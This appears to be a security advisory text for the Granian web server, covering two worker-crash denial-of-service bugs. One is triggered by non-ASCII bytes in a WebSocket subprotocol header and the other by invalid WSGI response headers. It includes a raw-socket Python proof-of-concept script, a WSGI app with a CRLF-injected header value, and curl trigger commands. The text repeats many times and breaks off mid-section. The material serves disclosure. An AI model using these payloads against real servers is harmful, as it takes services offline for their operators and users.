These are realistic failure modes for applications that reflect user-controlled data into headers such as Location, Content Disposition, or custom response headers.

PoC

Step 1

start Granian with the PoC WSGI app

# app.py
def app(environ, start_response):
    path = environ.get("PATH_INFO", "/")
    if path == "/crash-name":
        headers = [("X Bad Name", "value")]
    elif path == "/crash-value":
        headers = [("Content-Type", "text/html\r\nX-Injected: evil")]
    elif path == "/crash-null":
        headers = [("X-Custom", "value\x00end")]
    else:
        start_response("200 OK", [("Content-Type", "text/plain")])
        return [b"OK - server alive\n"]

    start_response("200 OK", headers)
    return [b"This response kills the worker\n"]

granian --interface wsgi app:app --host 127.0.0.1 --port 8000

Step 2

trigger the crash (any one of these is sufficient)

curl http://127.0.0.1:8000/crash-name
curl http://127.0.0.1:8000/crash-value
curl http://127.0.0.1:8000/crash-null

Expected result:

• the worker aborts after any of the crash paths
• subsequent requests fail until the worker is restarted

Impact

• Worker process denial of service
• A single bad response kills one worker
• Application bugs become process crashes instead of request-scoped failures

Summary

Granian aborts a worker process when an unauthenticated client sends a WebSocket upgrade request whose Sec-WebSocket-Protocol header contains non-ASCII bytes.

The crash happens in Granian's WebSocket scope construction path, before the ASGI application is invoked.

This is a single-request Denial Of Service against one worker. Repeating the request across workers takes the service offline.

Details

https://github.com/emmett-framework/granian/blob/bdd5b0fbbb2aca6f2f4c0d2700c244d190958035/src/asgi/utils.rs#L122-L125

HeaderValue::to_str() returns Err for bytes outside visible ASCII. The subsequent .unwrap() panics.

In release builds Granian sets panic = "abort", so this panic terminates the worker instead of being handled as a normal request error.

PoC

Step 1.

starts a Granian ASGI server

# app.py
async def app(scope, receive, send):
    if scope["type"] == "websocket":
        await receive()
        await send({"type": "websocket.accept"})
        return

    await send({"type": "http.response.start", "status": 200, "headers": []})
    await send({"type": "http.response.body", "body": b"ok"})

granian --interface asgi app:app --host 127.0.0.1 --port 8000

Step 2.

sending a raw upgrade request with Sec-WebSocket-Protocol: \x80\xff reached this code path and caused the worker to abort.

# ws-subproto-crash.py
import base64, os, socket, sys

host, port, path = sys.argv[1], int(sys.argv[2]), sys.argv[3]
key = base64.b64encode(os.urandom(16)).decode()

req = (
    f"GET {path} HTTP/1.1\r\nHost: {host}:{port}\r\n"
    "Upgrade: websocket\r\nConnection: Upgrade\r\n"
    f"Sec-WebSocket-Key: {key}\r\nSec-WebSocket-Version: 13\r\n"
).encode() + b"Sec-WebSocket-Protocol: \x80\xff\r\n\r\n"

with socket.create_connection((host, port), timeout=5) as s:
    s.sendall(req)
    print(s.recv(4096))

python ws-subproto-crash.py 127.0.0.1 8000 /

Observed server output:

thread '<unnamed>' panicked at src/asgi/utils.rs:125:44:
called `Result::unwrap()` on an `Err` value: ToStrError { _priv: () }
[ERROR] Unexpected exit from worker-1
[INFO] Shutting down granian

Impact

• Unauthenticated remote denial of service
• One crafted request kills one worker
• The application is never reached, so application-level authentication or routing does not mitigate the issue

Summary

Granian aborts a worker process if a WSGI application returns an invalid HTTP response header name or value. The WSGI response conversion path uses .unwrap() on both the header name and header value constructors, so malformed output from the application becomes a process abort instead of a handled error.

This issue requires a buggy or attacker-influenced WSGI application to emit invalid headers. It is not a parser bug in Granian's request path. The security impact is that application mistakes which should result in a 500 instead kill the worker process.

Details

https://github.com/emmett-framework/granian/blob/bdd5b0fbbb2aca6f2f4c0d2700c244d190958035/src/wsgi/io.rs#L39-L42

If either conversion fails, .unwrap() panics. In release builds Granian uses panic = "abort", so the panic terminates the worker.

Preconditions

The attacker must be able to influence a header name or value produced by the WSGI application, or the application must otherwise generate invalid headers.

Examples include:

• a header name containing a space
• a header value containing \r\n
• a header value containing a null byte

These are realistic failure modes for applications that reflect user-controlled data into headers such as Location, Content Disposition, or custom response headers.

PoC

Step 1

start Granian with the PoC WSGI app

# app.py
def app(environ, start_response):
    path = environ.get("PATH_INFO", "/")
    if path == "/crash-name":
        headers = [("X Bad Name", "value")]
    elif path == "/crash-value":
        headers = [("Content-Type", "text/html\r\nX-Injected: evil")]
    elif path == "/crash-null":
        headers = [("X-Custom", "value\x00end")]
    else:
        start_response("200 OK", [("Content-Type", "text/plain")])
        return [b"OK - server alive\n"]

    start_response("200 OK", headers)
    return [b"This response kills the worker\n"]

granian --interface wsgi app:app --host 127.0.0.1 --port 8000

Step 2

trigger the crash (any one of these is sufficient)

curl http://127.0.0.1:8000/crash-name
curl http://127.0.0.1:8000/crash-value
curl http://127.0.0.1:8000/crash-null

Expected result:

• the worker aborts after any of the crash paths
• subsequent requests fail until the worker is restarted

Impact

• Worker process denial of service
• A single bad response kills one worker
• Application bugs become process crashes instead of request-scoped failures

Summary

Granian aborts a worker process when an unauthenticated client sends a WebSocket upgrade request whose Sec-WebSocket-Protocol header contains non-ASCII bytes.

The crash happens in Granian's WebSocket scope construction path, before the ASGI application is invoked.

This is a single-request Denial Of Service against one worker. Repeating the request across workers takes the service offline.

Details

https://github.com/emmett-framework/granian/blob/bdd5b0fbbb2aca6f2f4c0d2700c244d190958035/src/asgi/utils.rs#L122-L125

HeaderValue::to_str() returns Err for bytes outside visible ASCII. The subsequent .unwrap() panics.

In release builds Granian sets panic = "abort", so this panic terminates the worker instead of being handled as a normal request error.

PoC

Step 1.

starts a Granian ASGI server

# app.py
async def app(scope, receive, send):
    if scope["type"] == "websocket":
        await receive()
        await send({"type": "websocket.accept"})
        return

    await send({"type": "http.response.start", "status": 200, "headers": []})
    await send({"type": "http.response.body", "body": b"ok"})

granian --interface asgi app:app --host 127.0.0.1 --port 8000

Step 2.

sending a raw upgrade request with Sec-WebSocket-Protocol: \x80\xff reached this code path and caused the worker to abort.

# ws-subproto-crash.py
import base64, os, socket, sys

host, port, path = sys.argv[1], int(sys.argv[2]), sys.argv[3]
key = base64.b64encode(os.urandom(16)).decode()

req = (
    f"GET {path} HTTP/1.1\r\nHost: {host}:{port}\r\n"
    "Upgrade: websocket\r\nConnection: Upgrade\r\n"
    f"Sec-WebSocket-Key: {key}\r\nSec-WebSocket-Version: 13\r\n"
).encode() + b"Sec-WebSocket-Protocol: \x80\xff\r\n\r\n"

with socket.create_connection((host, port), timeout=5) as s:
    s.sendall(req)
    print(s.recv(4096))

python ws-subproto-crash.py 127.0.0.1 8000 /

Observed server output:

thread '<unnamed>' panicked at src/asgi/utils.rs:125:44:
called `Result::unwrap()` on an `Err` value: ToStrError { _priv: () }
[ERROR] Unexpected exit from worker-1
[INFO] Shutting down granian

Impact

• Unauthenticated remote denial of service
• One crafted request kills one worker
• The application is never reached, so application-level authentication or routing does not mitigate the issue

Summary

Granian aborts a worker process if a WSGI application returns an invalid HTTP response header name or value. The WSGI response conversion path uses .unwrap() on both the header name and header value constructors, so malformed output from the application becomes a process abort instead of a handled error.

This issue requires a buggy or attacker-influenced WSGI application to emit invalid headers. It is not a parser bug in Granian's request path. The security impact is that application mistakes which should result in a 500 instead kill the worker process.

Details

https://github.com/emmett-framework/granian/blob/bdd5b0fbbb2aca6f2f4c0d2700c244d190958035/src/wsgi/io.rs#L39-L42

If either conversion fails, .unwrap() panics. In release builds Granian uses panic = "abort", so the panic terminates the worker.

Preconditions

The attacker must be able to influence a header name or value produced by the WSGI application, or the application must otherwise generate invalid headers.

Examples include:

• a header name containing a space
• a header value containing \r\n
• a header value containing a null byte

These are realistic failure modes for applications that reflect user-controlled data into headers such as Location, Content Disposition, or custom response headers.

PoC

Step 1

start Granian with the PoC WSGI app

# app.py
def app(environ, start_response):
    path = environ.get("PATH_INFO", "/")
    if path == "/crash-name":
        headers = [("X Bad Name", "value")]
    elif path == "/crash-value":
        headers = [("Content-Type", "text/html\r\nX-Injected: evil")]
    elif path == "/crash-null":
        headers = [("X-Custom", "value\x00end")]
    else:
        start_response("200 OK", [("Content-Type", "text/plain")])
        return [b"OK - server alive\n"]

    start_response("200 OK", headers)
    return [b"This response kills the worker\n"]

granian --interface wsgi app:app --host 127.0.0.1 --port 8000

Step 2

trigger the crash (any one of these is sufficient)

curl http://127.0.0.1:8000/crash-name
curl http://127.0.0.1:8000/crash-value
curl http://127.0.0.1:8000/crash-null

Expected result:

• the worker aborts after any of the crash paths
• subsequent requests fail until the worker is restarted

Impact

• Worker process denial of service
• A single bad response kills one worker
• Application bugs become process crashes instead of request-scoped failures

Summary

Granian aborts a worker process when an unauthenticated client sends a WebSocket upgrade request whose Sec-WebSocket-Protocol header contains non-ASCII bytes.

The crash happens in Granian's WebSocket scope construction path, before the ASGI application is invoked.

This is a single-request Denial Of Service against one worker. Repeating the request across workers takes the service offline.

Details

https://github.com/emmett-framework/granian/blob/bdd5b0fbbb2aca6f2f4c0d2700c244d190958035/src/asgi/utils.rs#L122-L125

HeaderValue::to_str() returns Err for bytes outside visible ASCII. The subsequent .unwrap() panics.

In release builds Granian sets panic = "abort", so this panic terminates the worker instead of being handled as a normal request error.

PoC

Step 1.

starts a Granian ASGI server

# app.py
async def app(scope, receive, send):
    if scope["type"] == "websocket":
        await receive()
        await send({"type": "websocket.accept"})
        return

    await send({"type": "http.response.start", "status": 200, "headers": []})
    await send({"type": "http.response.body", "body": b"ok"})

granian --interface asgi app:app --host 127.0.0.1 --port 8000

Step 2.

sending a raw upgrade request with Sec-WebSocket-Protocol: \x80\xff reached this code path and caused the worker to abort.

# ws-subproto-crash.py
import base64, os, socket, sys

host, port, path = sys.argv[1], int(sys.argv[2]), sys.argv[3]
key = base64.b64encode(os.urandom(16)).decode()

req = (
    f"GET {path} HTTP/1.1\r\nHost: {host}:{port}\r\n"
    "Upgrade: websocket\r\nConnection: Upgrade\r\n"
    f"Sec-WebSocket-Key: {key}\r\nSec-WebSocket-Version: 13\r\n"
).encode() + b"Sec-WebSocket-Protocol: \x80\xff\r\n\r\n"

with socket.create_connection((host, port), timeout=5) as s:
    s.sendall(req)
    print(s.recv(4096))

python ws-subproto-crash.py 127.0.0.1 8000 /

Observed server output:

thread '<unnamed>' panicked at src/asgi/utils.rs:125:44:
called `Result::unwrap()` on an `Err` value: ToStrError { _priv: () }
[ERROR] Unexpected exit from worker-1
[INFO] Shutting down granian

Impact

• Unauthenticated remote denial of service
• One crafted request kills one worker
• The application is never reached, so application-level authentication or routing does not mitigate the issue

Summary

Granian aborts a worker process if a WSGI application returns an invalid HTTP response header name or value. The WSGI response conversion path uses .unwrap() on both the header name and header value constructors, so malformed output from the application becomes a process abort instead of a handled error.

This issue requires a buggy or attacker-influenced WSGI application to emit invalid headers. It is not a parser bug in Granian's request path. The security impact is that application mistakes which should result in a 500 instead kill the worker process.

Details

https://github.com/emmett-framework/granian/blob/bdd5b0fbbb2aca6f2f4c0d2700c244d190958035/src/wsgi/io.rs#L39-L42

If either conversion fails, .unwrap() panics. In release builds Granian uses panic = "abort", so the panic terminates the worker.

Preconditions

The attacker must be able to influence a header name or value produced by the WSGI application, or the application must otherwise generate invalid headers.

Examples include:

• a header name containing a space
• a header value containing \r\n
• a header value containing a null byte

These are realistic failure modes for applications that reflect user-controlled data into headers such as Location, Content Disposition, or custom response headers.

PoC

Step 1

start Granian with the PoC WSGI app

# app.py
def app(environ, start_response):
    path = environ.get("PATH_INFO", "/")
    if path == "/crash-name":
        headers = [("X Bad Name", "value")]
    elif path == "/crash-value":
        headers = [("Content-Type", "text/html\r\nX-Injected: evil")]
    elif path == "/crash-null":
        headers = [("X-Custom", "value\x00end")]
    else:
        start_response("200 OK", [("Content-Type", "text/plain")])
        return [b"OK - server alive\n"]

    start_response("200 OK", headers)
    return [b"This response kills the worker\n"]

granian --interface wsgi app:app --host 127.0.0.1 --port 8000

Step 2

trigger the crash (any one of these is sufficient)

curl http://127.0.0.1:8000/crash-name
curl http://127.0.0.1:8000/crash-value
curl http://127.0.0.1:8000/crash-null

Expected result:

• the worker aborts after any of the crash paths
• subsequent requests fail until the worker is restarted

Impact

• Worker process denial of service
• A single bad response kills one worker
• Application bugs become process crashes instead of request-scoped failures

Summary

Granian aborts a worker process when an unauthenticated client sends a WebSocket upgrade request whose Sec-WebSocket-Protocol header contains non-ASCII bytes.

The crash happens in Granian's WebSocket scope construction path, before the ASGI application is invoked.

This is a single-request Denial Of Service against one worker. Repeating the request across workers takes the service offline.

Details

https://github.com/emmett-framework/granian/blob/bdd5b0fbbb2aca6f2f4c0d2700c244d190958035/src/asgi/utils.rs#L122-L125

HeaderValue::to_str() returns Err for bytes outside visible ASCII. The subsequent .unwrap() panics.

In release builds Granian sets panic = "abort", so this panic terminates the worker instead of being handled as a normal request error.

PoC

Step 1.

starts a Granian ASGI server

# app.py
async def app(scope, receive, send):
    if scope["type"] == "websocket":
        await receive()
        await send({"type": "websocket.accept"})
        return

    await send({"type": "http.response.start", "status": 200, "headers": []})
    await send({"type": "http.response.body", "body": b"ok"})

granian --interface asgi app:app --host 127.0.0.1 --port 8000

Step 2.

sending a raw upgrade request with Sec-WebSocket-Protocol: \x80\xff reached this code path and caused the worker to abort.

# ws-subproto-crash.py
import base64, os, socket, sys

host, port, path = sys.argv[1], int(sys.argv[2]), sys.argv[3]
key = base64.b64encode(os.urandom(16)).decode()

req = (
    f"GET {path} HTTP/1.1\r\nHost: {host}:{port}\r\n"
    "Upgrade: websocket\r\nConnection: Upgrade\r\n"
    f"Sec-WebSocket-Key: {key}\r\nSec-WebSocket-Version: 13\r\n"
).encode() + b"Sec-WebSocket-Protocol: \x80\xff\r\n\r\n"

with socket.create_connection((host, port), timeout=5) as s:
    s.sendall(req)
    print(s.recv(4096))

python ws-subproto-crash.py 127.0.0.1 8000 /

Observed server output:

thread '<unnamed>' panicked at src/asgi/utils.rs:125:44:
called `Result::unwrap()` on an `Err` value: ToStrError { _priv: () }
[ERROR] Unexpected exit from worker-1
[INFO] Shutting down granian

Impact

• Unauthenticated remote denial of service
• One crafted request kills one worker
• The application is never reached, so application-level authentication or routing does not mitigate the issue

Summary

Granian aborts a worker process if a WSGI application returns an invalid HTTP response header name or value. The WSGI response conversion path uses .unwrap() on both the header name and header value constructors, so malformed output from the application becomes a process abort instead of a handled error.

This issue requires a buggy or attacker-influenced WSGI application to emit invalid headers. It is not a parser bug in Granian's request path. The security impact is that application mistakes which should result in a 500 instead kill the worker process.

Details

https://github.com/emmett-framework/granian/blob/bdd5b0fbbb2aca6f2f4c0d2700c244d190958035/src/wsgi/io.rs#L39-L42

If either conversion fails, .unwrap() panics. In release builds Granian uses panic = "abort", so the panic terminates the worker.

Preconditions

The attacker must be able to influence a header name or value produced by the WSGI application, or the application must otherwise generate invalid headers.

Examples include:

• a header name containing a space
• a header value containing \r\n
• a header value containing a null byte

These are realistic failure modes for applications that reflect user-controlled data into headers such as Location, Content Disposition, or custom response headers.

PoC

Step 1

start Granian with the PoC WSGI app

# app.py
def app(environ, start_response):
    path = environ.get("PATH_INFO", "/")
    if path == "/crash-name":
        headers = [("X Bad Name", "value")]
    elif path == "/crash-value":
        headers = [("Content-Type", "text/html\r\nX-Injected: evil")]
    elif path == "/crash-null":
        headers = [("X-Custom", "value\x00end")]
    else:
        start_response("200 OK", [("Content-Type", "text/plain")])
        return [b"OK - server alive\n"]

    start_response("200 OK", headers)
    return [b"This response kills the worker\n"]

granian --interface wsgi app:app --host 127.0.0.1 --port 8000

Step 2

trigger the crash (any one of these is sufficient)

curl http://127.0.0.1:8000/crash-name
curl http://127.0.0.1:8000/crash-value
curl http://127.0.0.1:8000/crash-null

Expected result:

• the worker aborts after any of the crash paths
• subsequent requests fail until the worker is restarted

Impact

• Worker process denial of service
• A single bad response kills one worker
• Application bugs become process crashes instead of request-scoped failures

Summary

Granian aborts a worker process when an unauthenticated client sends a WebSocket upgrade request whose Sec-WebSocket-Protocol header contains non-ASCII bytes.

The crash happens in Granian's WebSocket scope construction path, before the ASGI application is invoked.

This is a single-request Denial Of Service against one worker. Repeating the request across workers takes the service offline.

Details

https://github.com/emmett-framework/granian/blob/bdd5b0fbbb2aca6f2f4c0d2700c244d190958035/src/asgi/utils.rs#L122-L125

HeaderValue::to_str() returns Err for bytes outside visible ASCII. The subsequent .unwrap() panics.

In release builds Granian sets panic = "abort", so this panic terminates the worker instead of being handled as a normal request error.

PoC

Step 1.

starts a Granian ASGI server

# app.py
async def app(scope, receive, send):
    if scope["type"] == "websocket":
        await receive()
        await send({"type": "websocket.accept"})
        return

    await send({"type": "http.response.start", "status": 200, "headers": []})
    await send({"type": "http.response.body", "body": b"ok"})

granian --interface asgi app:app --host 127.0.0.1 --port 8000

Step 2.

sending a raw upgrade request with Sec-WebSocket-Protocol: \x80\xff reached this code path and caused the worker to abort.

# ws-subproto-crash.py
import base64, os, socket, sys

host, port, path = sys.argv[1], int(sys.argv[2]), sys.argv[3]
key = base64.b64encode(os.urandom(16)).decode()

req = (
    f"GET {path} HTTP/1.1\r\nHost: {host}:{port}\r\n"
    "Upgrade: websocket\r\nConnection: Upgrade\r\n"
    f"Sec-WebSocket-Key: {key}\r\nSec-WebSocket-Version: 13\r\n"
).encode() + b"Sec-WebSocket-Protocol: \x80\xff\r\n\r\n"

with socket.create_connection((host, port), timeout=5) as s:
    s.sendall(req)
    print(s.recv(4096))

python ws-subproto-crash.py 127.0.0.1 8000 /

Observed server output:

thread '<unnamed>' panicked at src/asgi/utils.rs:125:44:
called `Result::unwrap()` on an `Err` value: ToStrError { _priv: () }
[ERROR] Unexpected exit from worker-1
[INFO] Shutting down granian

Impact

• Unauthenticated remote denial of service
• One crafted request kills one worker
• The application is never reached, so application-level authentication or routing does not mitigate the issue

Summary

Granian aborts a worker process if a WSGI application returns an invalid HTTP response header name or value. The WSGI response conversion path uses .unwrap() on both the header name and header value constructors, so malformed output from the application becomes a process abort instead of a handled error.

This issue requires a buggy or attacker-influenced WSGI application to emit invalid headers. It is not a parser bug in Granian's request path. The security impact is that application mistakes which should result in a 500 instead kill the worker process.

Details

https://github.com/emmett-framework/granian/blob/bdd5b0fbbb2aca6f2f4c0d2700c244d190958035/src/wsgi/io.rs#L39-L42

If either conversion fails, .unwrap() panics. In release builds Granian uses panic = "abort", so the panic terminates the worker.

Preconditions

The attacker must be able to influence a header name or value produced by the WSGI application, or the application must otherwise generate invalid headers.

Examples include:

• a header name containing a space
• a header value containing \r\n
• a header value containing a null byte

These are realistic failure modes for applications that reflect user-controlled data into headers such as Location, Content Disposition, or custom response headers.

PoC

Step 1

start Granian with the PoC WSGI app

# app.py
def app(environ, start_response):
    path = environ.get("PATH_INFO", "/")
    if path == "/crash-name":
        headers = [("X Bad Name", "value")]
    elif path == "/crash-value":
        headers = [("Content-Type", "text/html\r\nX-Injected: evil")]
    elif path == "/crash-null":
        headers = [("X-Custom", "value\x00end")]
    else:
        start_response("200 OK", [("Content-Type", "text/plain")])
        return [b"OK - server alive\n"]

    start_response("200 OK", headers)
    return [b"This response kills the worker\n"]

granian --interface wsgi app:app --host 127.0.0.1 --port 8000

Step 2

trigger the crash (any one of these is sufficient)

curl http://127.0.0.1:8000/crash-name
curl http://127.0.0.1:8000/crash-value
curl http://127.0.0.1:8000/crash-null

Expected result:

• the worker aborts after any of the crash paths
• subsequent requests fail until the worker is restarted

Impact

• Worker process denial of service
• A single bad response kills one worker
• Application bugs become process crashes instead of request-scoped failures

Summary

Granian aborts a worker process when an unauthenticated client sends a WebSocket upgrade request whose Sec-WebSocket-Protocol header contains non-ASCII bytes.

The crash happens in Granian's WebSocket scope construction path, before the ASGI application is invoked.

This is a single-request Denial Of Service against one worker. Repeating the request across workers takes the service offline.

Details

https://github.com/emmett-framework/granian/blob/bdd5b0fbbb2aca6f2f4c0d2700c244d190958035/src/asgi/utils.rs#L122-L125

HeaderValue::to_str() returns Err for bytes outside visible ASCII. The subsequent .unwrap() panics.

In release builds Granian sets panic = "abort", so this panic terminates the worker instead of being handled as a normal request error.

PoC

Step 1.

starts a Granian ASGI server

# app.py
async def app(scope, receive, send):
    if scope["type"] == "websocket":
        await receive()
        await send({"type": "websocket.accept"})
        return

    await send({"type": "http.response.start", "status": 200, "headers": []})
    await send({"type": "http.response.body", "body": b"ok"})

granian --interface asgi app:app --host 127.0.0.1 --port 8000

Step 2.

sending a raw upgrade request with Sec-WebSocket-Protocol: \x80\xff reached this code path and caused the worker to abort.

# ws-subproto-crash.py
import base64, os, socket, sys

host, port, path = sys.argv[1], int(sys.argv[2]), sys.argv[3]
key = base64.b64encode(os.urandom(16)).decode()

req = (
    f"GET {path} HTTP/1.1\r\nHost: {host}:{port}\r\n"
    "Upgrade: websocket\r\nConnection: Upgrade\r\n"
    f"Sec-WebSocket-Key: {key}\r\nSec-WebSocket-Version: 13\r\n"
).encode() + b"Sec-WebSocket-Protocol: \x80\xff\r\n\r\n"

with socket.create_connection((host, port), timeout=5) as s:
    s.sendall(req)
    print(s.recv(4096))

python ws-subproto-crash.py 127.0.0.1 8000 /

Observed server output:

thread '<unnamed>' panicked at src/asgi/utils.rs:125:44:
called `Result::unwrap()` on an `Err` value: ToStrError { _priv: () }
[ERROR] Unexpected exit from worker-1
[INFO] Shutting down granian

Impact

• Unauthenticated remote denial of service
• One crafted request kills one worker
• The application is never reached, so application-level authentication or routing does not mitigate the issue

Summary

Granian aborts a worker process if a WSGI application returns an invalid HTTP response header name or value. The WSGI response conversion path uses .unwrap() on both the header name and header value constructors, so malformed output from the application becomes a process abort instead of a handled error.

This issue requires a buggy or attacker-influenced WSGI application to emit invalid headers. It is not a parser bug in Granian's request path. The security impact is that application mistakes which should result in a 500 instead kill the worker process.

Details

https://github.com/emmett-framework/granian/blob/bdd5b0fbbb2aca6f2f4c0d2700c244d190958035/src/wsgi/io.rs#L39-L42

If either conversion fails, .unwrap() panics. In release builds Granian uses panic = "abort", so the panic terminates the worker.

Preconditions

The attacker must be able to influence a header name or value produced by the WSGI application, or the application must otherwise generate invalid headers.

Examples include:

• a header name containing a space
• a header value containing \r\n
• a header value containing a null byte

These are realistic failure modes for applications that reflect user-controlled data into headers such as Location, Content Disposition, or custom response headers.

PoC

Step 1

start Granian with the PoC WSGI app

# app.py
def app(environ, start_response):
    path = environ.get("PATH_INFO", "/")
    if path == "/crash-name":
        headers = [("X Bad Name", "value")]
    elif path == "/crash-value":
        headers = [("Content-Type", "text/html\r\nX-Injected: evil")]
    elif path == "/crash-null":
        headers = [("X-Custom", "value\x00end")]
    else:
        start_response("200 OK", [("Content-Type", "text/plain")])
        return [b"OK - server alive\n"]

    start_response("200 OK", headers)
    return [b"This response kills the worker\n"]

granian --interface wsgi app:app --host 127.0.0.1 --port 8000

Step 2

trigger the crash (any one of these is sufficient)

curl http://127.0.0.1:8000/crash-name
curl http://127.0.0.1:8000/crash-value
curl http://127.0.0.1:8000/crash-null

Expected result:

• the worker aborts after any of the crash paths
• subsequent requests fail until the worker is restarted

Impact

• Worker process denial of service
• A single bad response kills one worker
• Application bugs become process crashes instead of request-scoped failures

Summary

Granian aborts a worker process when an unauthenticated client sends a WebSocket upgrade request whose Sec-WebSocket-Protocol header contains non-ASCII bytes.

The crash happens in Granian's WebSocket scope construction path, before the ASGI application is invoked.

This is a single-request Denial Of Service against one worker. Repeating the request across workers takes the service offline.

Details

https://github.com/emmett-framework/granian/blob/bdd5b0fbbb2aca6f2f4c0d2700c244d190958035/src/asgi/utils.rs#L122-L125

HeaderValue::to_str() returns Err for bytes outside visible ASCII. The subsequent .unwrap() panics.

In release builds Granian sets panic = "abort", so this panic terminates the worker instead of being handled as a normal request error.

PoC

Step 1.

starts a Granian ASGI server

# app.py
async def app(scope, receive, send):
    if scope["type"] == "websocket":
        await receive()
        await send({"type": "websocket.accept"})
        return

    await send({"type": "http.response.start", "status": 200, "headers": []})
    await send({"type": "http.response.body", "body": b"ok"})

granian --interface asgi app:app --host 127.0.0.1 --port 8000

Step 2.

sending a raw upgrade request with Sec-WebSocket-Protocol: \x80\xff reached this code path and caused the worker to abort.

# ws-subproto-crash.py
import base64, os, socket, sys

host, port, path = sys.argv[1], int(sys.argv[2]), sys.argv[3]
key = base64.b64encode(os.urandom(16)).decode()

req = (
    f"GET {path} HTTP/1.1\r\nHost: {host}:{port}\r\n"
    "Upgrade: websocket\r\nConnection: Upgrade\r\n"
    f"Sec-WebSocket-Key: {key}\r\nSec-WebSocket-Version: 13\r\n"
).encode() + b"Sec-WebSocket-Protocol: \x80\xff\r\n\r\n"

with socket.create_connection((host, port), timeout=5) as s:
    s.sendall(req)
    print(s.recv(4096))

python ws-subproto-crash.py 127.0.0.1 8000 /

Observed server output:

thread '<unnamed>' panicked at src/asgi/utils.rs:125:44:
called `Result::unwrap()` on an `Err` value: ToStrError { _priv: () }
[ERROR] Unexpected exit from worker-1
[INFO] Shutting down granian

Impact

• Unauthenticated remote denial of service
• One crafted request kills one worker
• The application is never reached, so application-level authentication or routing does not mitigate the issue

Summary

Granian aborts a worker process if a WSGI application returns an invalid HTTP response header name or value. The WSGI response conversion path uses .unwrap() on both the header name and header value constructors, so malformed output from the application becomes a process abort instead of a handled error.

This issue requires a buggy or attacker-influenced WSGI application to emit invalid headers. It is not a parser bug in Granian's request path. The security impact is that application mistakes which should result in a 500 instead kill the worker process.

Details

https://github.com/emmett-framework/granian/blob/bdd5b0fbbb2aca6f2f4c0d2700c244d190958035/src/wsgi/io.rs#L39-L42

If either conversion fails, .unwrap() panics. In release builds Granian uses panic = "abort", so the panic terminates the worker.

Preconditions

The attacker must be able to influence a header name or value produced by the WSGI application, or the application must otherwise generate invalid headers.

Examples include:

• a header name containing a space
• a header value containing \r\n
• a header value containing a null byte

These are realistic failure modes for applications that reflect user-controlled data into headers such as Location, Content Disposition, or custom response headers.

PoC

Step 1

start Granian with the PoC WSGI app

# app.py
def app(environ, start_response):
    path = environ.get("PATH_INFO", "/")
    if path == "/crash-name":
        headers = [("X Bad Name", "value")]
    elif path == "/crash-value":
        headers = [("Content-Type", "text/html\r\nX-Injected: evil")]
    elif path == "/crash-null":
        headers = [("X-Custom", "value\x00end")]
    else:
        start_response("200 OK", [("Content-Type", "text/plain")])
        return [b"OK - server alive\n"]

    start_response("200 OK", headers)
    return [b"This response kills the worker\n"]

granian --interface wsgi app:app --host 127.0.0.1 --port 8000

Step 2

trigger the crash (any one of these is sufficient)

curl http://127.0.0.1:8000/crash-name
curl http://127.0.0.1:8000/crash-value
curl http://127.0.0.1:8000/crash-null

Expected result:

• the worker aborts after any of the crash paths
• subsequent requests fail until the worker is restarted

Impact

• Worker process denial of service
• A single bad response kills one worker
• Application bugs become process crashes instead of request-scoped failures

Summary

Granian aborts a worker process when an unauthenticated client sends a WebSocket upgrade request whose Sec-WebSocket-Protocol header contains non-ASCII bytes.

The crash happens in Granian's WebSocket scope construction path, before the ASGI application is invoked.

This is a single-request Denial Of Service against one worker. Repeating the request across workers takes the service offline.

Details

https://github.com/emmett-framework/granian/blob/bdd5b0fbbb2aca6f2f4c0d2700c244d190958035/src/asgi/utils.rs#L122-L125

HeaderValue::to_str() returns Err for bytes outside visible ASCII. The subsequent .unwrap() panics.

In release builds Granian sets panic = "abort", so this panic terminates the worker instead of being handled as a normal request error.

PoC

Step 1.

starts a Granian ASGI server

# app.py
async def app(scope, receive, send):
    if scope["type"] == "websocket":
        await receive()
        await send({"type": "websocket.accept"})
        return

    await send({"type": "http.response.start", "status": 200, "headers": []})
    await send({"type": "http.response.body", "body": b"ok"})

granian --interface asgi app:app --host 127.0.0.1 --port 8000

Step 2.

sending a raw upgrade request with Sec-WebSocket-Protocol: \x80\xff reached this code path and caused the worker to abort.

# ws-subproto-crash.py
import base64, os, socket, sys

host, port, path = sys.argv[1], int(sys.argv[2]), sys.argv[3]
key = base64.b64encode(os.urandom(16)).decode()

req = (
    f"GET {path} HTTP/1.1\r\nHost: {host}:{port}\r\n"
    "Upgrade: websocket\r\nConnection: Upgrade\r\n"
    f"Sec-WebSocket-Key: {key}\r\nSec-WebSocket-Version: 13\r\n"
).encode() + b"Sec-WebSocket-Protocol: \x80\xff\r\n\r\n"

with socket.create_connection((host, port), timeout=5) as s:
    s.sendall(req)
    print(s.recv(4096))

python ws-subproto-crash.py 127.0.0.1 8000 /

Observed server output:

thread '<unnamed>' panicked at src/asgi/utils.rs:125:44:
called `Result::unwrap()` on an `Err` value: ToStrError { _priv: () }
[ERROR] Unexpected exit from worker-1
[INFO] Shutting down granian

Impact

• Unauthenticated remote denial of service
• One crafted request kills one worker
• The application is never reached, so application-level authentication or routing does not mitigate the issue

Summary

Granian aborts a worker process if a WSGI application returns an invalid HTTP response header name or value. The WSGI response conversion path uses .unwrap() on both the header name and header value constructors, so malformed output from the application becomes a process abort instead of a handled error.

This issue requires a buggy or attacker-influenced WSGI application to emit invalid headers. It is not a parser bug in Granian's request path. The security impact is that application mistakes which should result in a 500 instead kill the worker process.

Details

https://github.com/emmett-framework/granian/blob/bdd5b0fbbb2aca6f2f4c0d2700c244d190958035/src/wsgi/io.rs#L39-L42

If either conversion fails, .unwrap() panics. In release builds Granian uses panic = "abort", so the panic terminates the worker.

Preconditions

The attacker must be able to influence a header name or value produced by the WSGI application, or the application must otherwise generate invalid headers.

Examples include:

• a header name containing a space
• a header value containing \r\n
• a header value containing a null byte

These are realistic failure modes for applications that reflect user-controlled data into headers such as Location, Content Disposition, or custom response headers.

PoC

Step 1

start Granian with the PoC WSGI app

# app.py
def app(environ, start_response):
    path = environ.get("PATH_INFO", "/")
    if path == "/crash-name":
        headers = [("X Bad Name", "value")]
    elif path == "/crash-value":
        headers = [("Content-Type", "text/html\r\nX-Injected: evil")]
    elif path == "/crash-null":
        headers = [("X-Custom", "value\x00end")]
    else:
        start_response("200 OK", [("Content-Type", "text/plain")])
        return [b"OK - server alive\n"]

    start_response("200 OK", headers)
    return [b"This response kills the worker\n"]

granian --interface wsgi app:app --host 127.0.0.1 --port 8000

Step 2

trigger the crash (any one of these is sufficient)

curl http://127.0.0.1:8000/crash-name
curl http://127.0.0.1:8000/crash-value
curl http://127.0.0.1:8000/crash-null

Expected result:
